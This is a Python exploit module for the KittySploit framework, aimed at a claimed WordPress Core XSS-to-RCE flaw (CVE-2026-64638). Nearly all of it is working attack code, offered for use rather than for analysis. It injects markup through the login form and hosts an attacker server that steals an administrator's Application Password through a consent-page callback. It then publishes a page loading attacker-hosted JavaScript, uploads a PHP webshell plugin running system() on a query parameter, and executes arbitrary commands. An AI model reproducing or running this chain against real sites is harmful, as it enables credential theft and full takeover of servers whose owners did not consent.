WordPress Core XSS2Shell RCE (CVE-2026-64638)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-64638 — WordPress Core XSS2Shell pre-auth XSS-to-RCE chain."""

from __future__ import annotations

import base64
import json
import time
import urllib.parse
from typing import Optional

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_server import Http_server
from lib.protocols.http.wordpress import Wordpress
from lib.scanner.http.response_validation import is_html_response, parse_json_response


class Module(Exploit, Http_client, Http_server, Wordpress):
    __info__ = {
        "name": "WordPress Core XSS2Shell RCE (CVE-2026-64638)",
        "description": (
            "Exploits CVE-2026-64638 in WordPress Core 4.7.0 through 7.0.2: a "
            "strip_tags/KSES parser differential on /wp-login.php injects live DOM "
            "(id=ajaxurl clobber). Default mode confirms the unauthenticated XSS "
            "primitive. With SERVE=true, hosts the full chain (Application Password "
            "theft -> REST -> plugin upload -> command execution) when an "
            "administrator loads the driver link. No framework payload is required "
            "(default: nopayload); use CMD in SERVE mode."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-64638"],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2026-64638",
            "https://www.cve.org/CVERecord?id=CVE-2026-64638",
        ],
        "platform": Platform.PHP,
        "arch": [Arch.PHP],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "nopayload",
        },
        "tags": [
            "wordpress",
            "wp-core",
            "xss",
            "xss2shell",
            "rce",
            "pre-auth",
            "parser-differential",
            "cve-2026-64638",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 4,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 2.5,
            "noise": 0.7,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress", "php"],
                "confidence_min_any": {"wordpress": 0.3},
                "endpoint_pattern_any": ["/wp-login.php"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "xss", "from_detail": "login error parser differential"},
                    {"capability": "rce", "from_detail": "full chain with admin UI:A"},
                ],
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    srvport = OptPort(8000, "Port for the attacker origin (SERVE mode)", False)
    cmd = OptString("id", "Command to run via webshell when SERVE=true (no framework payload)", False)
    serve = OptBool(False, "Host the full attacker chain and wait for an admin victim", False)
    attacker_url = OptString(
        "",
        "Public URL the victim uses to reach the attacker origin (defaults to lhost:srvport)",
        False,
        advanced=True,
    )
    callback_timeout = OptInteger(
        120,
        "Seconds to wait for an Application Password callback in SERVE mode",
        False,
        advanced=True,
    )
    plugin_slug = OptString("kittysploit", "Plugin slug for the uploaded webshell ZIP", False, advanced=True)

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(getattr(self, "path", "/"))

    def _login_path(self) -> str:
        base = self._wp_base()
        return f"{base}/wp-login.php" if base != "/" else "/wp-login.php"

    def _xss_payload(self) -> str:
        return (
            "< area id=ajaxurl href=/?rest_route=/&_method=GET"
            "&_jsonp=window.opener.approve.click&_envelope=1>"
            "< div id=color-picker class=reset-pass-submit>"
            '< button class="wp-generate-pw color-option">X'
        )

    def _post_login(self) -> str:
        response = self.http_request(
            method="POST",
            path=self._login_path(),
            data={"log": self._xss_payload(), "pwd": "x", "wp-submit": "Log In"},
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            allow_redirects=True,
            timeout=int(self.timeout or 15),
        )
        return (response.text or "") if response else ""

    def _evaluate_body(self, body: str) -> dict:
        markers = ('id="ajaxurl"', 'id="color-picker"')
        hits = [marker for marker in markers if marker in (body or "")]
        if hits:
            return {
                "vulnerable": True,
                "reason": f"XSS confirmed — injected {' '.join(hits)} rendered as live markup",
                "confidence": "high",
                "hits": hits,
            }
        if "login_error" in (body or ""):
            return {
                "vulnerable": False,
                "reason": "payload reflected but escaped (patched >= 7.0.3)",
                "confidence": "high",
                "hits": [],
            }
        return {
            "vulnerable": False,
            "reason": "no login error notice in response (unexpected)",
            "confidence": "medium",
            "hits": [],
        }

    def check(self):
        try:
            return self._evaluate_body(self._post_login())
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"target unreachable: {exc.__class__.__name__}",
                "confidence": "low",
                "hits": [],
            }

    def _rest_path(self, route: str, params: Optional[dict] = None) -> str:
        root = self._wp_base().rstrip("/")
        path = f"{root}/?rest_route={urllib.parse.quote(route, safe='/')}"
        if params:
            path += "&" + urllib.parse.urlencode(params)
        return path

    def _rest_headers(self) -> dict:
        creds = getattr(self, "_serve_creds", None) or {}
        login = creds.get("login")
        password = creds.get("password")
        if not login or not password:
            return {}
        token = base64.b64encode(f"{login}:{password}".encode()).decode()
        return {"Authorization": f"Basic {token}"}

    def _rest(self, route: str, method: str = "GET", body: Optional[dict] = None, params: Optional[dict] = None):
        headers = self._rest_headers()
        data = None
        if body is not None:
            data = json.dumps(body)
            headers["Content-Type"] = "application/json"
        return self.http_request(
            method=method,
            path=self._rest_path(route, params),
            headers=headers or None,
            data=data,
            timeout=int(self.timeout or 15),
        )

    def _shell_path(self, command: str) -> str:
        slug = str(self.plugin_slug or "kittysploit").strip() or "kittysploit"
        root = self._wp_base().rstrip("/")
        return f"{root}/wp-content/plugins/{slug}/{slug}.php?c={urllib.parse.quote(command, safe='')}"

    def _run_shell(self, command: str) -> Optional[str]:
        response = self.http_request(
            method="GET",
            path=self._shell_path(command),
            allow_redirects=True,
            timeout=10,
        )
        if not response or int(response.status_code or 0) != 200 or is_html_response(response):
            return None
        return (response.text or "").strip()

    def _target_base_url(self) -> str:
        scheme = "https" if bool(getattr(self, "ssl", False)) else "http"
        host = str(self.rhost or self.target or "127.0.0.1").strip()
        port = int(self.rport or self.port or 80)
        netloc = host if (scheme == "https" and port == 443) or (scheme == "http" and port == 80) else f"{host}:{port}"
        return f"{scheme}://{netloc}{self._wp_base().rstrip('/')}"

    def _attacker_public_url(self) -> str:
        explicit = str(self.attacker_url or "").strip()
        if explicit:
            return explicit.rstrip("/")
        lhost = self.lhost or "127.0.0.1"
        if lhost in ("0.0.0.0", ""):
            lhost = "127.0.0.1"
        port = int(self.srvport or 8000)
        return f"http://{lhost}:{port}"

    def _webshell_php(self) -> str:
        return (
            "<?php\n"
            "/*\nPlugin Name: KittySploit PoC\nDescription: CVE-2026-64638 proof of concept.\nVersion: 1.0\n*/\n"
            "if (isset($_GET['c'])) { header('Content-Type: text/plain'); system($_GET['c']); }\n"
        )

    def _html_driver(self, target_base: str, attacker: str) -> str:
        consent = (
            target_base
            + "/wp-admin/authorize-application.php?app_name="
            + urllib.parse.quote("KittySploit Integration")
            + "&success_url="
            + urllib.parse.quote(attacker + "/callback")
        )
        return (
            "<!doctype html><meta charset=utf-8><title>KittySploit</title>"
            "<h3>loading...</h3><script>\n"
            f"window.open({json.dumps(attacker + '/b')}, 'b');\n"
            f"location.href = {json.dumps(consent)};\n"
            "</script>"
        )

    def _html_b(self, target_base: str) -> str:
        action = target_base.rstrip("/") + "/wp-login.php"
        return (
            "<!doctype html><meta charset=utf-8><title>b</title>"
            f"<form id=f method=POST action={json.dumps(action)}>"
            "<input type=hidden name=log id=log>"
            "<input type=hidden name=pwd value=x>"
            "<input type=hidden name='wp-submit' value='Log In'>"
            "</form><script>\n"
            f"document.getElementById('log').value = {json.dumps(self._xss_payload())};\n"
            "setTimeout(function(){ document.getElementById('f').submit(); }, 1800);\n"
            "</script>"
        )

    def _js_stage2(self, attacker: str, slug: str) -> str:
        php = json.dumps(self._webshell_php())
        slug_js = json.dumps(slug)
        beacon = json.dumps(attacker + "/done")
        return (
            "(function(){\n"
            "function crc32(b){var c,crc=0xFFFFFFFF;for(var i=0;i<b.length;i++){"
            "c=(crc^b[i])&0xFF;for(var k=0;k<8;k++){c=(c&1)?(0xEDB88320^(c>>>1)):(c>>>1);}"
            "crc=(crc>>>8)^c;}return (crc^0xFFFFFFFF)>>>0;}\n"
            "function u32(v){return [v&255,(v>>>8)&255,(v>>>16)&255,(v>>>24)&255];}\n"
            "function u16(v){return [v&255,(v>>>8)&255];}\n"
            "function bytes(s){var a=[];for(var i=0;i<s.length;i++)a.push(s.charCodeAt(i)&255);return a;}\n"
            "function buildZip(name, content){\n"
            "  var nb=bytes(name), cb=bytes(content), crc=crc32(cb);\n"
            "  var lfh=[].concat(u32(0x04034b50),u16(20),u16(0),u16(0),u16(0),u16(0),"
            "u32(crc),u32(cb.length),u32(cb.length),u16(nb.length),u16(0),nb,cb);\n"
            "  var cd=[].concat(u32(0x02014b50),u16(20),u16(20),u16(0),u16(0),u16(0),u16(0),"
            "u32(crc),u32(cb.length),u32(cb.length),u16(nb.length),u16(0),u16(0),u16(0),u16(0),"
            "u32(0),u32(0),nb);\n"
            "  var eocd=[].concat(u32(0x06054b50),u16(0),u16(0),u16(1),u16(1),"
            "u32(cd.length),u32(lfh.length),u16(0));\n"
            "  return new Uint8Array([].concat(lfh,cd,eocd));\n"
            "}\n"
            f"var slug={slug_js}, php={php};\n"
            "var up='/wp-admin/update.php?action=upload-plugin';\n"
            "var form='/wp-admin/plugin-install.php?tab=upload';\n"
            "fetch(form,{credentials:'include'}).then(function(r){return r.text();}).then(function(html){\n"
            "  var m=html.match(/name=\"_wpnonce\"\\s+value=\"([a-zA-Z0-9]+)\"/);\n"
            f"  if(!m){{ navigator.sendBeacon({beacon}, 'no-nonce'); return; }}\n"
            "  var zip=buildZip(slug+'/'+slug+'.php', php);\n"
            "  var fd=new FormData();\n"
            "  fd.append('_wpnonce', m[1]);\n"
            "  fd.append('_wp_http_referer', form);\n"
            "  fd.append('pluginzip', new Blob([zip],{type:'application/zip'}), slug+'.zip');\n"
            "  fetch(up,{method:'POST',credentials:'include',body:fd}).then(function(){\n"
            f"    navigator.sendBeacon({beacon}, 'uploaded');\n"
            "  });\n"
            "});\n"
            "})();\n"
        )

    def _http_reply(self, handler, code: int, ctype: str, body: str) -> None:
        payload = body.encode()
        handler.send_response(code)
        handler.send_header("Content-Type", ctype)
        handler.send_header("Content-Length", str(len(payload)))
        handler.send_header("Cache-Control", "no-store")
        handler.end_headers()
        handler.wfile.write(payload)

    def _start_chain_server(self, target_base: str, attacker: str):
        module = self
        slug = str(self.plugin_slug or "kittysploit").strip() or "kittysploit"
        self._serve_creds = {"login": None, "password": None}

        def do_get(handler):
            route = (handler.path or "").split("?", 1)[0]
            if route in ("/", "/driver"):
                module._http_reply(
                    handler, 200, "text/html; charset=utf-8",
                    module._html_driver(target_base, attacker),
                )
            elif route == "/b":
                module._http_reply(handler, 200, "text/html; charset=utf-8", module._html_b(target_base))
            elif route == "/stage2.js":
                module._http_reply(
                    handler, 200, "application/javascript; charset=utf-8",
                    module._js_stage2(attacker, slug),
                )
            elif route == "/callback":
                query = (handler.path or "").split("?", 1)[1] if "?" in (handler.path or "") else ""
                params = urllib.parse.parse_qs(query)
                password = (params.get("password") or [None])[0]
                login = (params.get("user_login") or ["admin"])[0]
                if password and not module._serve_creds.get("password"):
                    module._serve_creds = {"login": login, "password": password}
                    print_info(f"[serve] Application Password captured for '{login}'")
                    response = module._rest(
                        "/wp/v2/pages",
                        method="POST",
                        body={
                            "title": "kittysploit-poc",
                            "status": "publish",
                            "content": f'<script src="{attacker}/stage2.js"></script> CVE-2026-64638 PoC',
                        },
                    )
                    link = None
                    if response and int(response.status_code or 0) in (200, 201):
                        try:
                            link = response.json().get("link")
                        except Exception:
                            pass
                    if link:
                        print_info(f"[serve] Published stage2 page: {link}")
                        module._http_reply(
                            handler,
                            200,
                            "text/html; charset=utf-8",
                            f"<!doctype html><script>location.href={json.dumps(link)};</script>",
                        )
                        return
                module._http_reply(handler, 200, "text/plain", "ok")
            elif route == "/done":
                module._http_reply(handler, 200, "text/plain", "ok")
            else:
                handler.send_response(404)
                handler.end_headers()

        if not self.srvhost:
            self.srvhost = "0.0.0.0"
        return self.listen_http({"GET": do_get}, forever=True, background=True)

    def _serve(self) -> bool:
        target_base = self._target_base_url()
        attacker = self._attacker_public_url()
        command = str(self.cmd or "id").strip()
        timeout = int(self.callback_timeout or 120)

        httpd = self._start_chain_server(target_base, attacker)
        try:
            print_status(f"Attacker origin at {attacker}/ — waiting for admin (UI:A)")
            deadline = time.time() + timeout
            while time.time() < deadline and not (getattr(self, "_serve_creds", {}) or {}).get("password"):
                time.sleep(0.5)

            creds = getattr(self, "_serve_creds", {}) or {}
            if not creds.get("password"):
                print_warning("No admin callback — XSS primitive confirmed, full chain needs UI:A")
                return True

            response = self._rest("/wp/v2/users/me", params={"context": "edit"})
            user, err = parse_json_response(response)
            if user:
                caps = user.get("capabilities", {})
                print_success(
                    f"REST access confirmed — id={user.get('id')} admin={caps.get('administrator')}"
                )
            else:
                print_warning(f"REST verification failed ({err})")

            print_status(f"Waiting for webshell and running: {command}")
            rce_deadline = time.time() + 60
            while time.time() < rce_deadline:
                if self._run_shell(f"echo KS_SHELL_a1b2c3d4e5") != "KS_SHELL_a1b2c3d4e5":
                    time.sleep(1.0)
                    continue
                output = self._run_shell(command)
                if output:
                    print_success(f"RCE confirmed — {command}:")
                    print_info(output)
                    return True
                break

            print_warning("Application Password stolen; plugin upload did not complete in time")
            return True
        finally:
            self.web_shutdown(httpd)

    def run(self):
        try:
            print_status("CVE-2026-64638 — WordPress XSS2Shell")

            result = self.check()
            if not result.get("vulnerable"):
                print_error(result.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False

            print_success(result.get("reason", "Target appears vulnerable"))
            if bool(getattr(self, "serve", False)):
                if not self._serve():
                    return False
            elif result.get("hits"):
                print_info("Set SERVE=true to host the full chain (requires admin UI:A)")

            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False